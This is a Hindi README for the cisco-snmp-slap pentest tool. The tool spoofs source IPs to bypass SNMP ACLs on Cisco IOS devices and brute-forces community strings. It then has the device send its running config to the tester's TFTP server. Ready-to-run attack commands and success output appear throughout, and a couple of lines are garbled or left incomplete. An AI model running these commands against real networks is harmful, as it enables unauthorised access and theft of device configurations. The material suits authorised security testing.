
सिस्को IOS डिवाइसों पर ACLs को बायपास करने और TFTP के माध्यम से कॉन्फ़िगरेशन फ़ाइलों को एक्सफ़िल्ट्रेट करने के लिए IP स्पूफ़िंग तथा SNMP कम्युनिटी स्ट्रिंग ब्रूट-फ़ोर्सिंग टूल
cisco-snmp-slap, Cisco IOS डिवाइस पर SNMP सेवा की सुरक्षा करने वाले ACL को बायपास करने के लिए IP एड्रेस स्पूफिंग का उपयोग करता है।
आम तौर पर DoS के अलावा वास्तविक हमलों में IP स्पूफिंग का सीमित उपयोग होता है। कोई भी TCP सेवा प्रारंभिक हैंडशेक पूरा नहीं कर सकती। UDP पैकेट स्पूफ करना आसान होता है, लेकिन रिटर्न पैकेट अक्सर गलत एड्रेस पर भेजा जाता है, जिससे लौटाई गई कोई भी जानकारी एकत्र करना मुश्किल हो जाता है।
हालाँकि, यदि कोई हमलावर snmp rw community string और एक वैध स्रोत एड्रेस का अनुमान लगा सकता है, तो वह SNMP MiBs सेट कर सकता है। इसका एक सबसे स्पष्ट उपयोग यह है कि Cisco SNMP सेवा से उसकी IOS कॉन्फ़िगरेशन फ़ाइल किसी अन्य डिवाइस पर भिजवाई जाए।
यह टूल आपको एक या अधिक IP एड्रेस से Cisco डिवाइस पर एक या अधिक community strings आज़माने की अनुमति देता है। IP एड्रेस निर्दिष्ट करते समय आप स्रोत एड्रेस की एक श्रेणी को क्रमिक रूप से या यादृच्छिक रूप से पार करना चुन सकते हैं।
स्रोत IP एड्रेस की श्रेणी निर्दिष्ट करने के लिए, एक प्रारंभिक स्रोत एड्रेस और IP मास्क प्रदान किए जाते हैं। IP मास्क में सेट किए गए कोई भी बिट्स प्रारंभिक स्रोत एड्रेस को बदलकर स्रोत IP एड्रेस उत्पन्न करने के लिए उपयोग किए जाएँगे।
उदाहरण के लिए, यदि 10.0.0.0 का स्रोत एड्रेस 0.0.0.255 के IP मास्क के साथ प्रदान किया जाता है, तो स्क्रिप्ट 10.0.0.0 से 10.0.0.255 तक के एड्रेस की खोज करेगी।
सेट किए गए बिट्स को सबनेट मास्क की तरह अनुक्रमिक होना आवश्यक नहीं है। उदाहरण के लिए, मास्क 0.128.1.255 मान्य है और यह 10.0,128.0-1.0-255 श्रेणियों की खोज करेगा।
IP एड्रेस की श्रेणी को यादृच्छिक या क्रमिक रूप से जाँचते समय, आपको tftp डायरेक्टरी के रूट का पथ दर्ज करना आवश्यक होता है। स्क्रिप्ट यह देखने के लिए इस डायरेक्टरी की जाँच करेगी कि फ़ाइल सफलतापूर्वक स्थानांतरित हुई है या नहीं।
यह टूल पेंटेस्ट के दौरान Cisco layer 3 स्विच को लक्षित करने के लिए लिखा गया था, हालाँकि इसके अन्य उपयोग भी हो सकते हैं। यह इन डिवाइसों के विरुद्ध अच्छी तरह से काम करता है क्योंकि:
हालाँकि मुझे उम्मीद है कि उपयोगकर्ता इस स्क्रिप्ट और इसके स्रोत कोड के लिए अन्य दिलचस्प उपयोग खोज लेंगे।
इस उदाहरण में मैं एक साधारण IOS डिवाइस लूँगा जिसमें 'cisco' community string का उपयोग करके SNMP सेवा की सुरक्षा करने वाली एक access list है।
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
एक IOS डिवाइस का IP एड्रेस 10.0.0.1 है।
पेंटेस्टर का IP एड्रेस 10.0.0.2 है और उसने एक TFTP सर्वर शुरू किया है।
यदि परीक्षक यह सब जानता है, तो वह डिवाइस की कॉन्फ़िग फ़ाइल प्राप्त करने के लिए one shot single mode का उपयोग करता है। उदा.
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
यदि परीक्षक इन विवरणों को नहीं जानता है, तो वह अनुमान लगाने की कोशिश कर सकता है। मान लीजिए कि परीक्षक ने कुछ recon की है और पता लगा लिया है कि सभी आंतरिक एड्रेस 10.0.0.0/8 रेंज में हैं।
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
यह कमांड सभी /24 की खोज करेगा; परीक्षक उम्मीद करता है कि केवल एक IP एड्रेस के बजाय पूरे सबनेट को एक्सेस की अनुमति होने की धारणा से कुछ समय बचाया जा सकता है।
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
आप देखेंगे कि प्रोग्राम 10.100.100.0/24 रेंज में प्रवेश करने के कई IP एड्रेस बाद सफलता की घोषणा करते हुए बाहर निकलता है। ऐसा इसलिए है क्योंकि यह निर्धारित करना संभव नहीं है कि कौन सा स्रोत एड्रेस सफल रहा, लेकिन जब कॉन्फ़िग फ़ाइल tftproot में दिखाई देती है तो यह निर्धारित करता है कि अनुरोधों में से एक सफल रहा। चूँकि आपने अभी-अभी रनिंग कॉन्फ़िग प्राप्त कर ली है, अब आप स्वयं ACL के विवरण जान सकते हैं।
एकल community string निर्दिष्ट करने के बजाय आप उपयोग की जाने वाली सूची भी दे सकते हैं। मोड के नाम समान होते हैं, सिवाय '_l' प्रत्यय के।
उदाहरण के लिए, list.txt में community strings की सूची का उपयोग करके उसी हमले को दोहराने के लिए निम्नलिखित तर्कों का उपयोग किया जाना चाहिए।
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
अब प्रत्येक IP एड्रेस की जाँच list.txt में मौजूद प्रत्येक community string के साथ की जाती है।
प्रोग्रामिंग भाषाओं की बात करें तो Python एक सरल भाषा है, पढ़ने और लिखने में आसान है, और मैं आपको प्रोत्साहित करता हूँ कि आप मिलने वाली किसी भी समस्या को डीबग और सुधारने का प्रयास करें और अपने बदलाव मुझे भेजें ताकि मैं उन्हें NCC Github पर अन्य उपयोगकर्ताओं के साथ साझा कर सकूँ।
लेकिन यदि आपको सहायता चाहिए, तो आप मुझसे [email protected] पर संपर्क कर सकते हैं। मैं आपकी मदद करने की पूरी कोशिश करूँगा, लेकिन आपको पता होना चाहिए कि मैं पूर्णकालिक डेवलपर नहीं हूँ (जो मेरे कोड से स्पष्ट होना चाहिए!) और हो सकता है कि मेरे पास तुरंत आपकी क्वेरी के लिए समय न हो।